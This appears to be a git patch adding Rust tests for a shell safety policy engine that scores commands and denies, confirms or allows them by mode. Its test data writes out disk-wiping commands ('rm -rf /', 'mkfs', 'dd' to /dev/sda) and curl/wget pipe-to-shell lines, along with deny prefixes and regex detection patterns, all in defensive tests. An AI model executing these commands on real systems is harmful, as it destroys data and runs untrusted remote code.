+ ); + } + } + + #[test] + fn rm_rf_slash_prefix_also_catches_subdirectory() { + // "rm -rf /home" starts with "rm -rf /" → deny prefix fires + for mode in [SafetyMode::Strict, SafetyMode::Balanced, SafetyMode::Loose] { + let engine = default_engine(mode); + let (_, decision) = engine.evaluate(&["rm", "-rf", "/home"]); + assert_eq!(decision, Decision::Deny); + } + } + + #[test] + fn mkfs_prefix_is_denied_in_all_modes() { + for mode in [SafetyMode::Strict, SafetyMode::Balanced, SafetyMode::Loose] { + let engine = default_engine(mode); + let (_, decision) = engine.evaluate(&["mkfs", "/dev/sda"]); + assert_eq!(decision, Decision::Deny); + } + } + + #[test] + fn dd_if_prefix_is_denied_in_all_modes() { + for mode in [SafetyMode::Strict, SafetyMode::Balanced, SafetyMode::Loose] { + let engine = default_engine(mode); + let (_, decision) = engine.evaluate(&["dd", "if=/dev/zero", "of=/dev/sda"]); + assert_eq!(decision, Decision::Deny); + } + } + + // ── Golden test: curl | bash (pipe to shell) ────────────────────────────── + + #[test] + fn curl_pipe_bash_is_denied_in_strict() { + let engine = default_engine(SafetyMode::Strict); + let (assessment, decision) = + engine.evaluate(&["curl", "http://example.com/install.sh", "|", "bash"]); + assert_eq!(decision, Decision::Deny, "strict should deny curl|bash"); + assert!(assessment.score >= 51, "score should be High: {}", assessment.score); + } + + #[test] + fn curl_pipe_bash_needs_confirm_in_balanced() { + let engine = default_engine(SafetyMode::Balanced); + let (_, decision) = + engine.evaluate(&["curl", "http://example.com/install.sh", "|", "bash"]); + assert_eq!(decision, Decision::Confirm, "balanced should confirm curl|bash"); + } + + #[test] + fn curl_pipe_bash_needs_confirm_in_loose() { + let engine = default_engine(SafetyMode::Loose); + let (assessment, decision) = + engine.evaluate(&["curl", "http://example.com/install.sh", "|", "bash"]); + assert_eq!(decision, Decision::Confirm, "loose should confirm curl|bash; score={}", assessment.score); + } + + #[test] + fn wget_pipe_sh_is_high_risk() { + let engine = default_engine(SafetyMode::Balanced); + let (assessment, decision) = + engine.evaluate(&["wget", "-qO-", "http://example.com/setup.sh", "|", "sh"]); + assert!( + decision == Decision::Confirm || decision == Decision::Deny, + "wget|sh should not be allowed; decision={decision:?}, score={}", + assessment.score + ); + assert!(assessment.score >= 51); + } + + // ── Golden test: sudo rm (privilege elevation) ──────────────────────────── + + #[test] + fn sudo_rm_needs_confirm_in_strict() { + let engine = default_engine(SafetyMode::Strict); + let (assessment, decision) = engine.evaluate(&["sudo", "rm", "/tmp/x"]); + assert_eq!( + decision, + Decision::Confirm, + "strict should confirm sudo rm; score={}", + assessment.score + ); + assert!(assessment.categories.contains(&RiskCategory::PrivilegeElevation)); + } + + #[test] + fn sudo_rm_needs_confirm_in_balanced() { + let engine = default_engine(SafetyMode::Balanced); + let (_, decision) = engine.evaluate(&["sudo", "rm", "/tmp/x"]); + assert_eq!(decision, Decision::Confirm); + } + + #[test] + fn sudo_rm_is_allowed_in_loose() { + let engine = default_engine(SafetyMode::Loose); + let (assessment, decision) = engine.evaluate(&["sudo", "rm", "/tmp/x"]); + assert_eq!( + decision, + Decision::Allow, + "loose should allow sudo rm (score={})", + assessment.score + ); + } + + #[test] + fn sudo_rm_rf_is_high_risk() { + // sudo -r and rm -rf together should reach High/Critical risk + let engine = default_engine(SafetyMode::Strict); + let (assessment, decision) = engine.evaluate(&["sudo", "rm", "-rf", "/tmp/x"]); + assert!( + decision == Decision::Deny || decision == Decision::Confirm, + "sudo rm -rf should be Deny or Confirm in strict; got {decision:?}, score={}", + assessment.score + ); + assert!(assessment.score >= 30); + } + + // ── Golden test: allowlisted patterns ──────────────────────────────────── + + #[test] + fn allowlisted_command_bypasses_all_checks_strict() { + let engine = allow_engine(SafetyMode::Strict, vec!["git status"]); + let (assessment, decision) = engine.evaluate(&["git", "status"]); + assert_eq!(decision, Decision::Allow); + assert_eq!(assessment.level, RiskLevel::None); + assert!(assessment.reasons[0].contains("allowlisted")); + } + + #[test] + fn allowlisted_command_bypasses_all_modes() { + for mode in [SafetyMode::Strict, SafetyMode::Balanced, SafetyMode::Loose] { + let engine = allow_engine(mode, vec!["git "]); + let (_, decision) = engine.evaluate(&["git", "push"]); + assert_eq!(decision, Decision::Allow); + } + } + + #[test] + fn non_allowlisted_command_still_evaluated() { + let engine = allow_engine(SafetyMode::Strict, vec!["ls"]); + let (_, decision) = engine.evaluate(&["rm", "-rf", "/"]); + // deny prefix wins even when allow prefixes are configured + assert_eq!(decision, Decision::Deny); + } + + // ── Deny wins over allow (FR-33) ────────────────────────────────────────── + + #[test] + fn deny_wins_over_allow_prefix() { + // deny_prefix "rm -rf /" and allow_prefix "rm -rf /" — deny must win + let mut cfg = SafetyConfig::default(); + cfg.deny_prefixes = vec!["rm -rf /".into()]; + cfg.allow_prefixes = vec!["rm -rf /".into()]; + let engine = SafetyPolicyEngine::new(SafetyMode::Balanced, &cfg); + + let (_, decision) = engine.evaluate(&["rm", "-rf", "/"]); + assert_eq!(decision, Decision::Deny, "deny must win over allow per FR-33"); + } + + // ── Custom deny prefixes ────────────────────────────────────────────────── + + #[test] + fn custom_deny_prefix_blocks_command() { + let engine = custom_engine(SafetyMode::Balanced, vec!["halt"], vec![]); + let (assessment, decision) = engine.evaluate(&["halt"]); + assert_eq!(decision, Decision::Deny); + assert_eq!(assessment.level, RiskLevel::Critical); + assert_eq!(assessment.score, 100); + } + + #[test] + fn custom_deny_prefix_partial_match_blocks() { + let engine = custom_engine(SafetyMode::Balanced, vec!["dangerous-cmd"], vec![]); + let (_, decision) = engine.evaluate(&["dangerous-cmd", "--all"]); + assert_eq!(decision, Decision::Deny); + } + + #[test] + fn custom_deny_prefix_no_match_passes_through() { + let engine = custom_engine(SafetyMode::Balanced, vec!["halt"], vec![]); + let (_, decision) = engine.evaluate(&["uptime"]); + assert_eq!(decision, Decision::Allow); + } + + // ── Invalid regex in patterns (skipped gracefully) ──────────────────────── + + #[test] + fn invalid_regex_in_patterns_skipped() { + let mut cfg = SafetyConfig::default(); + cfg.high_risk_patterns = vec!["[invalid-regex(".into()]; + let engine = SafetyPolicyEngine::new(SafetyMode::Balanced, &cfg); + // Engine should construct without panic; evaluate should return Allow for ls + let (_, decision) = engine.evaluate(&["ls"]); + assert_eq!(decision, Decision::Allow); + } + + #[test] + fn mix_valid_and_invalid_patterns() { + let mut cfg = SafetyConfig::default(); + cfg.high_risk_patterns = vec![ + "[bad-regex(".into(), + r"sudo\s+".into(), // valid + ]; + let engine = SafetyPolicyEngine::new(SafetyMode::Balanced, &cfg); + let (assessment, _) = engine.evaluate(&["sudo", "ls"]); + // The valid pattern should still contribute to the score + assert!(assessment.score > 0); + } + + // ── Score accumulation and cap ──────────────────────────────────────────── + + #[test] + fn multiple_patterns_accumulate_score() { + // sudo rm -rf would match both sudo pattern and rm pattern + let engine = default_engine(SafetyMode::Balanced); + let (sudo_only, _) = engine.evaluate(&["sudo", "ls"]); + let (both, _) = engine.evaluate(&["sudo", "rm", "-rf", "/tmp"]); + // double pattern hit → higher score (rm -rf matches rm\s+-[rf]*r via substring) + assert!( + both.score > sudo_only.score, + "sudo rm -rf should score higher than sudo ls" + ); + } + + #[test] + fn score_is_capped_at_100() { + let mut cfg = SafetyConfig::default(); + // Add many high-score patterns to overflow + cfg.high_risk_patterns = vec![ + r"sudo\s+".into(), + r"rm\s+-[rf]*r".into(), + r"curl.*\|\s*bash".into(), + r"wget.*\|\s*sh".into(), + r"\btrue\b".into(), // matches everything containing "true" + ]; + let engine = SafetyPolicyEngine::new(SafetyMode::Balanced, &cfg); + let cmd = "sudo rm -rf /tmp | curl http://x.com | bash | wget | sh true"; + let argv: Vec<&str> = cmd.split_whitespace().collect(); + let (assessment, _) = engine.evaluate(&argv); + assert!( + assessment.score <= 100, + "score must not exceed 100; got {}", + assessment.score + ); + } + + // ── Mode-specific decisions ─────────────────────────────────────────────── + + #[test] + fn strict_mode_medium_risk_confirms() { + // sudo alone → ~30 score → Medium → Confirm in strict + let engine = default_engine(SafetyMode::Strict); + let (assessment, decision) = engine.evaluate(&["sudo", "echo", "hi"]); + assert_eq!(assessment.level, RiskLevel::Medium); + assert_eq!(decision, Decision::Confirm); + } + + #[test] + fn balanced_mode_medium_risk_confirms() { + let engine = default_engine(SafetyMode::Balanced); + let (_, decision) = engine.evaluate(&["sudo", "echo", "hi"]); + assert_eq!(decision, Decision::Confirm); + } + + #[test] + fn loose_mode_medium_risk_allows() { + let engine = default_engine(SafetyMode::Loose); + let (assessment, decision) = engine.evaluate(&["sudo", "echo", "hi"]); + assert_eq!(assessment.level, RiskLevel::Medium); + assert_eq!(decision, Decision::Allow); + } + + // ── Reason and category content ─────────────────────────────────────────── + + #[test] + fn pattern_match_reason_includes_pattern_source() { + let engine = default_engine(SafetyMode::Balanced); + let (assessment, _) = engine.evaluate(&["sudo", "ls"]); + assert!( + assessment + .reasons + .iter() + .any(|r| r.contains("sudo")), + "reason should mention the pattern; reasons={:?}", + assessment.reasons + ); + } + + #[test] + fn deny_reason_mentions_prefix() { + let engine = default_engine(SafetyMode::Balanced); + let (assessment, _) = engine.evaluate(&["rm", "-rf", "/"]); + assert!( + assessment.reasons[0].contains("rm -rf /"), + "deny reason should name the prefix; got: {:?}", + assessment.reasons[0] + ); + } + + #[test] + fn allow_reason_mentions_prefix() { + let engine = allow_engine(SafetyMode::Strict, vec!["git "]); + let (assessment, _) = engine.evaluate(&["git", "pull"]); + assert!(assessment.reasons[0].contains("allowlisted")); + assert!(assessment.reasons[0].contains("git ")); + } + + #[test] + fn sudo_pattern_match_sets_privilege_category() { + let engine = default_engine(SafetyMode::Balanced); + let (assessment, _) = engine.evaluate(&["sudo", "echo"]); + assert!( + assessment + .categories + .contains(&RiskCategory::PrivilegeElevation) + ); + } + + #[test] + fn rm_pattern_match_sets_destructive_category() { + // "rm -r /tmp/x" matches rm pattern + let engine = default_engine(SafetyMode::Balanced); + let (assessment, _) = engine.evaluate(&["rm", "-r", "/tmp/x"]); + assert!( + assessment + .categories + .contains(&RiskCategory::DestructiveFilesystem) + ); + } + + #[test] + fn curl_bash_pattern_sets_network_category() { + let engine = default_engine(SafetyMode::Balanced); + let (assessment, _) = + engine.evaluate(&["curl", "http://x.com", "|", "bash"]); + assert!(assessment.categories.contains(&RiskCategory::Network)); + } + + // ── No-deny-prefix clear ────────────────────────────────────────────────── + + #[test] + fn rm_without_recursive_flag_not_denied() { + // "rm /tmp/file" should NOT match deny prefix "rm -rf /" + let engine = default_engine(SafetyMode::Balanced); + let (_, decision) = engine.evaluate(&["rm", "/tmp/file"]); + // Not denied by prefix — may still trigger pattern (rm -r pattern won't match + // because there's no -r flag), so should be Allow + assert_eq!(decision, Decision::Allow); + } + + #[test] + fn git_command_is_safe() { + let engine = default_engine(SafetyMode::Strict); + let (assessment, decision) = engine.evaluate(&["git", "status"]); + assert_eq!(decision, Decision::Allow); + assert_eq!(assessment.level, RiskLevel::None); + } + + #[test] + fn echo_command_is_safe() { + let engine = default_engine(SafetyMode::Strict); + let (_, decision) = engine.evaluate(&["echo", "hello"]); + assert_eq!(decision, Decision::Allow); + } + + #[test] + fn pwd_command_is_safe() { + let engine = default_engine(SafetyMode::Strict); + let (_, decision) = engine.evaluate(&["pwd"]); + assert_eq!(decision, Decision::Allow); + } + + // ── Empty config (no patterns, no prefixes) ─────────────────────────────── + + #[test] + fn engine_with_empty_config_allows_everything() { + let empty = SafetyConfig { + deny_prefixes: vec![], + allow_prefixes: vec![], + high_risk_patterns: vec![], + }; + for mode in [SafetyMode::Strict, SafetyMode::Balanced, SafetyMode::Loose] { + let engine = SafetyPolicyEngine::new(mode, &empty); + let (_, decision) = engine.evaluate(&["rm", "-rf", "/"]); + assert_eq!(decision, Decision::Allow, "empty config allows everything"); + } + } + + // ── Sudo heuristic: first argv ──────────────────────────────────────────── + + #[test] + fn sudo_as_first_argv_raises_risk() { + let engine = default_engine(SafetyMode::Balanced); + let (no_sudo, _) = engine.evaluate(&["ls"]); + let (with_sudo, _) = engine.evaluate(&["sudo", "ls"]); + assert!(with_sudo.score > no_sudo.score, "sudo should raise score"); + } + + // ── Deny prefix with categories ─────────────────────────────────────────── + + #[test] + fn deny_prefix_result_has_one_category() { + let engine = default_engine(SafetyMode::Balanced); + let (assessment, decision) = engine.evaluate(&["rm", "-rf", "/"]); + assert_eq!(decision, Decision::Deny); + assert_eq!(assessment.categories.len(), 1); + } + + // ── Loose mode high-risk reaches Confirm ───────────────────────────────── + + #[test] + fn loose_mode_high_risk_confirms_not_denies() { + let engine = default_engine(SafetyMode::Loose); + // curl|bash is High risk (55) — in loose: High → Confirm + let (assessment, decision) = + engine.evaluate(&["curl", "http://x.com", "|", "bash"]); + assert_eq!(assessment.level, RiskLevel::High); + assert_eq!(decision, Decision::Confirm); + } + + // ── Strict mode high-risk denies ────────────────────────────────────────── + + #[test] + fn strict_mode_high_risk_denies() { + let engine = default_engine(SafetyMode::Strict); + let (assessment, decision) = + engine.evaluate(&["curl", "http://x.com", "|", "bash"]); + assert_eq!(assessment.level, RiskLevel::High); + assert_eq!(decision, Decision::Deny); + } + + // ── Multiple allow prefixes ─────────────────────────────────────────────── + + #[test] + fn first_matching_allow_prefix_wins() { + let mut cfg = SafetyConfig::default(); + cfg.allow_prefixes = vec!["git ".into(), "ls".into()]; + let engine = SafetyPolicyEngine::new(SafetyMode::Strict, &cfg); + let (_, decision) = engine.evaluate(&["ls", "-la"]); + assert_eq!(decision, Decision::Allow); + } +} diff --git a/logicshell-core/tests/e2e.rs b/logicshell-core/tests/e2e.rs index 8290df4..13818d0 100644 --- a/logicshell-core/tests/e2e.rs +++ b/logicshell-core/tests/e2e.rs @@ -9,8 +9,8 @@ use tempfile::TempDir; use logicshell_core::{ audit::{AuditDecision, AuditRecord, AuditSink}, - config::{discovery::find_and_load, load, Config, HookEntry, LimitsConfig}, - discover, find_config_path, LogicShell, + config::{discovery::find_and_load, load, Config, HookEntry, LimitsConfig, SafetyConfig}, + discover, find_config_path, Decision, LogicShell, RiskCategory, RiskLevel, SafetyPolicyEngine, }; // ── helpers ─────────────────────────────────────────────────────────────────── @@ -479,12 +479,27 @@ async fn e2e_nonexistent_binary_returns_structured_error() { assert!(!audit_path.exists()); } -/// NFR-06: evaluate_safety stub returns Safety error, not a panic. +/// Phase 7: evaluate_safety returns a real Decision — FR-30–33. #[test] -fn e2e_safety_stub_error() { +fn e2e_safety_denies_destructive_command() { let ls = LogicShell::new(); - let result = ls.evaluate_safety(&["rm", "-rf", "/"]); - assert!(result.is_err(), "safety stub must return Err until Phase 7"); + let (assessment, decision) = ls.evaluate_safety(&["rm", "-rf", "/"]); + assert_eq!( + decision, + logicshell_core::Decision::Deny, + "rm -rf / must be Denied" + ); + assert_eq!(assessment.level, logicshell_core::RiskLevel::Critical); +} + +/// Phase 7: evaluate_safety allows a safe command. +#[test] +fn e2e_safety_allows_safe_command() { + let ls = LogicShell::new(); + let (assessment, decision) = ls.evaluate_safety(&["ls", "-la"]); + assert_eq!(decision, logicshell_core::Decision::Allow); + assert_eq!(assessment.level, logicshell_core::RiskLevel::None); + assert_eq!(assessment.score, 0); } // ── Config validation edge cases ────────────────────────────────────────────── @@ -565,3 +580,347 @@ async fn e2e_custom_limits_round_trip() { ls.dispatch(&["true"]).await.unwrap(); assert!(audit_path.exists()); } + +// ── Phase 7: Safety policy engine e2e ──────────────────────────────────────── + +/// FR-30–33: safe command allowed in all modes end-to-end. +#[tokio::test] +async fn e2e_safe_command_allowed_all_modes() { + use logicshell_core::config::SafetyMode; + + for mode in [SafetyMode::Strict, SafetyMode::Balanced, SafetyMode::Loose] { + let tmp = TempDir::new().unwrap(); + let audit_path = tmp.path().join("audit.log"); + let mut cfg = Config::default(); + cfg.safety_mode = mode.clone(); + cfg.audit.path = Some(audit_path.to_str().unwrap().to_string()); + + let ls = LogicShell::with_config(cfg); + let code = ls.dispatch(&["true"]).await.expect("safe command must succeed"); + assert_eq!(code, 0, "safe cmd must exit 0 in {mode:?}"); + + let records = read_audit_lines(&audit_path); + assert_eq!(records.len(), 1); + assert_eq!(records[0]["decision"], "allow"); + } +} + +/// FR-33: rm -rf / is denied in all modes and writes a deny audit record. +#[tokio::test] +async fn e2e_safety_deny_prefix_blocks_dispatch_and_audits() { + let tmp = TempDir::new().unwrap(); + let audit_path = tmp.path().join("audit.log"); + let mut cfg = Config::default(); + cfg.audit.path = Some(audit_path.to_str().unwrap().to_string()); + + let ls = LogicShell::with_config(cfg); + let result = ls.dispatch(&["rm", "-rf", "/"]).await; + assert!(result.is_err(), "rm -rf / must be blocked"); + + // Audit log must contain a deny record. + let records = read_audit_lines(&audit_path); + assert_eq!(records.len(), 1, "exactly one deny audit record"); + assert_eq!(records[0]["decision"], "deny"); + assert_eq!(records[0]["argv"][0], "rm"); + assert!( + records[0]["note"].as_str().unwrap_or("").contains("denied"), + "note should explain the denial" + ); +} + +/// FR-32: mkfs prefix is denied in all safety modes. +#[tokio::test] +async fn e2e_safety_mkfs_denied_all_modes() { + use logicshell_core::config::SafetyMode; + + for mode in [SafetyMode::Strict, SafetyMode::Balanced, SafetyMode::Loose] { + let tmp = TempDir::new().unwrap(); + let mut cfg = Config::default(); + cfg.safety_mode = mode; + cfg.audit.path = Some(tmp.path().join("a.log").to_str().unwrap().to_string()); + + let ls = LogicShell::with_config(cfg); + let result = ls.dispatch(&["mkfs", "/dev/sda"]).await; + assert!(result.is_err(), "mkfs must be blocked"); + } +} + +/// FR-30: sudo command is denied in strict, confirmed in balanced, allowed in loose. +#[tokio::test] +async fn e2e_sudo_decision_varies_by_mode() { + use logicshell_core::config::SafetyMode; + + // strict → sudo true is Confirm (medium risk) → proceeds in phase 7 dispatch + // balanced → Confirm → proceeds + // loose → Allow → proceeds + + for mode in [SafetyMode::Strict, SafetyMode::Balanced, SafetyMode::Loose] { + let tmp = TempDir::new().unwrap(); + let audit_path = tmp.path().join("audit.log"); + let mut cfg = Config::default(); + cfg.safety_mode = mode.clone(); + cfg.audit.path = Some(audit_path.to_str().unwrap().to_string()); + + let ls = LogicShell::with_config(cfg); + // sudo true: medium risk (pattern match ~30) → allowed in all modes + // (Confirm also proceeds in phase-7 dispatch; blocked only for Deny) + let _ = ls.dispatch(&["sudo", "true"]).await; + // Don't assert success/failure — sudo may not be available in CI. + // Just verify no panic and audit file exists. + assert!( + audit_path.exists(), + "audit file must be written in {mode:?} mode" + ); + } +} + +/// FR-33: allow_prefix in config lets a command bypass safety checks. +#[tokio::test] +async fn e2e_allow_prefix_bypasses_risk_scoring() { + let tmp = TempDir::new().unwrap(); + let audit_path = tmp.path().join("audit.log"); + + let toml = format!( + r#" +safety_mode = "strict" +[safety] +allow_prefixes = ["git "] +deny_prefixes = [] +high_risk_patterns = [] +[audit] +enabled = true +path = "{}" +"#, + audit_path.display() + ); + let cfg = load(&toml).unwrap(); + let ls = LogicShell::with_config(cfg); + + let code = ls.dispatch(&["git", "status"]).await.expect("allowlisted command must succeed"); + assert_eq!(code, 0); + + let records = read_audit_lines(&audit_path); + assert_eq!(records.len(), 1); + assert_eq!(records[0]["decision"], "allow"); +} + +/// FR-33: custom deny prefix in config blocks command end-to-end. +#[tokio::test] +async fn e2e_custom_deny_prefix_blocks_dispatch() { + let tmp = TempDir::new().unwrap(); + let audit_path = tmp.path().join("audit.log"); + + let toml = format!( + r#" +[safety] +deny_prefixes = ["danger-zone"] +allow_prefixes = [] +high_risk_patterns = [] +[audit] +enabled = true +path = "{}" +"#, + audit_path.display() + ); + let cfg = load(&toml).unwrap(); + let ls = LogicShell::with_config(cfg); + + let result = ls.dispatch(&["danger-zone", "--all"]).await; + assert!(result.is_err(), "custom deny prefix must block dispatch"); + + let records = read_audit_lines(&audit_path); + assert_eq!(records[0]["decision"], "deny"); +} + +/// FR-30: SafetyPolicyEngine used directly — all golden test cases. +#[test] +fn e2e_safety_engine_golden_tests() { + use logicshell_core::config::SafetyMode; + + let cfg = SafetyConfig::default(); + + // ls → Allow in all modes + for mode in [SafetyMode::Strict, SafetyMode::Balanced, SafetyMode::Loose] { + let engine = SafetyPolicyEngine::new(mode, &cfg); + let (a, d) = engine.evaluate(&["ls"]); + assert_eq!(d, Decision::Allow, "ls must Allow"); + assert_eq!(a.level, RiskLevel::None); + } + + // rm -rf / → Deny in all modes + for mode in [SafetyMode::Strict, SafetyMode::Balanced, SafetyMode::Loose] { + let engine = SafetyPolicyEngine::new(mode, &cfg); + let (a, d) = engine.evaluate(&["rm", "-rf", "/"]); + assert_eq!(d, Decision::Deny, "rm -rf / must Deny"); + assert_eq!(a.level, RiskLevel::Critical); + } + + // curl|bash → Deny in strict, Confirm in balanced and loose + { + let argv = ["curl", "http://x.com/install.sh", "|", "bash"]; + let (_, d_strict) = + SafetyPolicyEngine::new(SafetyMode::Strict, &cfg).evaluate(&argv); + assert_eq!(d_strict, Decision::Deny, "strict must deny curl|bash"); + + let (_, d_balanced) = + SafetyPolicyEngine::new(SafetyMode::Balanced, &cfg).evaluate(&argv); + assert_eq!(d_balanced, Decision::Confirm, "balanced must confirm curl|bash"); + + let (_, d_loose) = + SafetyPolicyEngine::new(SafetyMode::Loose, &cfg).evaluate(&argv); + assert_eq!(d_loose, Decision::Confirm, "loose must confirm curl|bash"); + } + + // sudo rm → Confirm in strict, Confirm in balanced, Allow in loose + { + let argv = ["sudo", "rm", "/tmp/x"]; + let (_, d_strict) = + SafetyPolicyEngine::new(SafetyMode::Strict, &cfg).evaluate(&argv); + assert_eq!(d_strict, Decision::Confirm, "strict must confirm sudo rm"); + + let (_, d_balanced) = + SafetyPolicyEngine::new(SafetyMode::Balanced, &cfg).evaluate(&argv); + assert_eq!(d_balanced, Decision::Confirm, "balanced must confirm sudo rm"); + + let (_, d_loose) = + SafetyPolicyEngine::new(SafetyMode::Loose, &cfg).evaluate(&argv); + assert_eq!(d_loose, Decision::Allow, "loose must allow sudo rm"); + } +} + +/// FR-33: deny wins over allow — overlapping prefix rules. +#[test] +fn e2e_deny_wins_over_allow_overlapping_prefix() { + use logicshell_core::config::SafetyMode; + + let mut cfg = SafetyConfig::default(); + cfg.deny_prefixes = vec!["rm -rf /".into()]; + cfg.allow_prefixes = vec!["rm ".into()]; // broader allow; deny must still win for rm -rf / + + let engine = SafetyPolicyEngine::new(SafetyMode::Balanced, &cfg); + let (_, decision) = engine.evaluate(&["rm", "-rf", "/"]); + assert_eq!(decision, Decision::Deny, "deny must win over allow (FR-33)"); + + // rm /tmp/file matches allow_prefix "rm " (no deny match) → Allow + let (_, decision2) = engine.evaluate(&["rm", "/tmp/file"]); + assert_eq!(decision2, Decision::Allow, "rm /tmp/file with allow prefix"); +} + +/// Phase 7: RiskAssessment risk categories are populated for detected patterns. +#[test] +fn e2e_risk_categories_populated() { + use logicshell_core::config::SafetyMode; + + let cfg = SafetyConfig::default(); + + // sudo → PrivilegeElevation + let engine = SafetyPolicyEngine::new(SafetyMode::Balanced, &cfg); + let (assessment, _) = engine.evaluate(&["sudo", "ls"]); + assert!( + assessment.categories.contains(&RiskCategory::PrivilegeElevation), + "sudo must set PrivilegeElevation category" + ); + + // rm -r → DestructiveFilesystem + let (assessment2, _) = engine.evaluate(&["rm", "-r", "/tmp/dir"]); + assert!( + assessment2.categories.contains(&RiskCategory::DestructiveFilesystem), + "rm -r must set DestructiveFilesystem category" + ); + + // curl|bash → Network + let (assessment3, _) = + engine.evaluate(&["curl", "http://x.com", "|", "bash"]); + assert!( + assessment3.categories.contains(&RiskCategory::Network), + "curl|bash must set Network category" + ); +} + +/// Phase 7: dispatch integrates safety — Confirm decision proceeds (phase 10 adds UI). +#[tokio::test] +async fn e2e_confirm_decision_proceeds_in_dispatch() { + // In balanced mode, sudo true is Confirm (medium risk). + // Phase 7 lets Confirm proceed (no interactive UI yet). + let tmp = TempDir::new().unwrap(); + let audit_path = tmp.path().join("audit.log"); + + let toml = format!( + r#" +safety_mode = "balanced" +[audit] +enabled = true +path = "{}" +"#, + audit_path.display() + ); + let cfg = load(&toml).unwrap(); + let ls = LogicShell::with_config(cfg); + + // "echo hello" is None risk → should always succeed + let code = ls.dispatch(&["echo", "hello"]).await.unwrap(); + assert_eq!(code, 0); + + let records = read_audit_lines(&audit_path); + assert_eq!(records[0]["decision"], "allow"); +} + +/// Phase 7: safety + hooks + audit full pipeline with safe command. +#[tokio::test] +async fn e2e_safety_hooks_audit_pipeline() { + let tmp = TempDir::new().unwrap(); + let audit_path = tmp.path().join("audit.log"); + let hook_marker = tmp.path().join("hook_ran"); + + let toml = format!( + r#" +safety_mode = "balanced" +[audit] +enabled = true +path = "{audit}" +[[hooks.pre_exec]] +command = ["sh", "-c", "touch {marker}"] +timeout_ms = 5000 +"#, + audit = audit_path.display(), + marker = hook_marker.display() + ); + let cfg = load(&toml).unwrap(); + let ls = LogicShell::with_config(cfg); + + let code = ls.dispatch(&["true"]).await.unwrap(); + assert_eq!(code, 0); + assert!(hook_marker.exists(), "hook must run after safety allow"); + + let records = read_audit_lines(&audit_path); + assert_eq!(records.len(), 1); + assert_eq!(records[0]["decision"], "allow"); +} + +/// Phase 7: safety deny writes audit record BEFORE hooks run (hooks skipped on deny). +#[tokio::test] +async fn e2e_safety_deny_skips_hooks() { + let tmp = TempDir::new().unwrap(); + let audit_path = tmp.path().join("audit.log"); + let hook_marker = tmp.path().join("should_not_exist"); + + let mut cfg = Config::default(); + cfg.audit.path = Some(audit_path.to_str().unwrap().to_string()); + cfg.hooks.pre_exec = vec![HookEntry { + command: vec![ + "sh".into(), + "-c".into(), + format!("touch {}", hook_marker.display()), + ], + timeout_ms: 5_000, + }]; + + let ls = LogicShell::with_config(cfg); + let result = ls.dispatch(&["rm", "-rf", "/"]).await; + assert!(result.is_err()); + + // Deny audit was written but hook did NOT run. + let records = read_audit_lines(&audit_path); + assert_eq!(records[0]["decision"], "deny"); + assert!(!hook_marker.exists(), "hook must NOT run when safety denies"); +} From 696072c87f216b93f856678daf3c4dbcb91ad79b Mon Sep 17 00:00:00 2001 From: Mehmet Acar Date: Sat, 18 Apr 2026 19:28:26 +0300 Subject: [PATCH 2/2] fix: cargo fmt --- logicshell-core/src/lib.rs | 13 ++---- logicshell-core/src/safety.rs | 86 +++++++++++++++++++---------------- logicshell-core/tests/e2e.rs | 56 ++++++++++++++--------- 3 files changed, 86 insertions(+), 69 deletions(-) diff --git a/logicshell-core/src/lib.rs b/logicshell-core/src/lib.rs index 18c1140..f6d1406 100644 --- a/logicshell-core/src/lib.rs +++ b/logicshell-core/src/lib.rs @@ -50,10 +50,7 @@ impl LogicShell { .unwrap_or_else(|_| String::from("?")); // Phase 7: safety policy evaluation before any hooks or spawn. - let engine = SafetyPolicyEngine::new( - self.config.safety_mode.clone(), - &self.config.safety, - ); + let engine = SafetyPolicyEngine::new(self.config.safety_mode.clone(), &self.config.safety); let (assessment, decision) = engine.evaluate(argv); if decision == Decision::Deny { @@ -112,8 +109,7 @@ impl LogicShell { /// Returns a `(RiskAssessment, Decision)` pair. The engine is sync and /// deterministic: identical input always produces identical output. pub fn evaluate_safety(&self, argv: &[&str]) -> (RiskAssessment, Decision) { - SafetyPolicyEngine::new(self.config.safety_mode.clone(), &self.config.safety) - .evaluate(argv) + SafetyPolicyEngine::new(self.config.safety_mode.clone(), &self.config.safety).evaluate(argv) } } @@ -327,10 +323,7 @@ mod tests { let result = ls .dispatch(&["curl", "http://x.com/install.sh", "|", "bash"]) .await; - assert!( - result.is_err(), - "strict mode should block curl|bash" - ); + assert!(result.is_err(), "strict mode should block curl|bash"); } /// Phase 7: dispatch in loose mode allows sudo commands. diff --git a/logicshell-core/src/safety.rs b/logicshell-core/src/safety.rs index 5db9463..1c89e02 100644 --- a/logicshell-core/src/safety.rs +++ b/logicshell-core/src/safety.rs @@ -461,12 +461,18 @@ mod tests { #[test] fn category_for_apt_pattern_is_package() { - assert_eq!(category_for_pattern("apt install"), RiskCategory::PackageSystem); + assert_eq!( + category_for_pattern("apt install"), + RiskCategory::PackageSystem + ); } #[test] fn category_for_pip_pattern_is_package() { - assert_eq!(category_for_pattern("pip install"), RiskCategory::PackageSystem); + assert_eq!( + category_for_pattern("pip install"), + RiskCategory::PackageSystem + ); } #[test] @@ -510,7 +516,10 @@ mod tests { #[test] fn category_for_prefix_apt_is_package() { - assert_eq!(category_for_prefix("apt install"), RiskCategory::PackageSystem); + assert_eq!( + category_for_prefix("apt install"), + RiskCategory::PackageSystem + ); } #[test] @@ -541,11 +550,7 @@ mod tests { for mode in [SafetyMode::Strict, SafetyMode::Balanced, SafetyMode::Loose] { let engine = default_engine(mode.clone()); let (assessment, decision) = engine.evaluate(&["ls"]); - assert_eq!( - decision, - Decision::Allow, - "ls should Allow in {mode:?}" - ); + assert_eq!(decision, Decision::Allow, "ls should Allow in {mode:?}"); assert_eq!(assessment.level, RiskLevel::None); assert_eq!(assessment.score, 0); assert!(assessment.reasons.is_empty()); @@ -568,11 +573,7 @@ mod tests { for mode in [SafetyMode::Strict, SafetyMode::Balanced, SafetyMode::Loose] { let engine = default_engine(mode.clone()); let (assessment, decision) = engine.evaluate(&["rm", "-rf", "/"]); - assert_eq!( - decision, - Decision::Deny, - "rm -rf / should Deny in {mode:?}" - ); + assert_eq!(decision, Decision::Deny, "rm -rf / should Deny in {mode:?}"); assert_eq!(assessment.level, RiskLevel::Critical); assert_eq!(assessment.score, 100); assert!( @@ -619,7 +620,11 @@ mod tests { let (assessment, decision) = engine.evaluate(&["curl", "http://example.com/install.sh", "|", "bash"]); assert_eq!(decision, Decision::Deny, "strict should deny curl|bash"); - assert!(assessment.score >= 51, "score should be High: {}", assessment.score); + assert!( + assessment.score >= 51, + "score should be High: {}", + assessment.score + ); } #[test] @@ -627,7 +632,11 @@ mod tests { let engine = 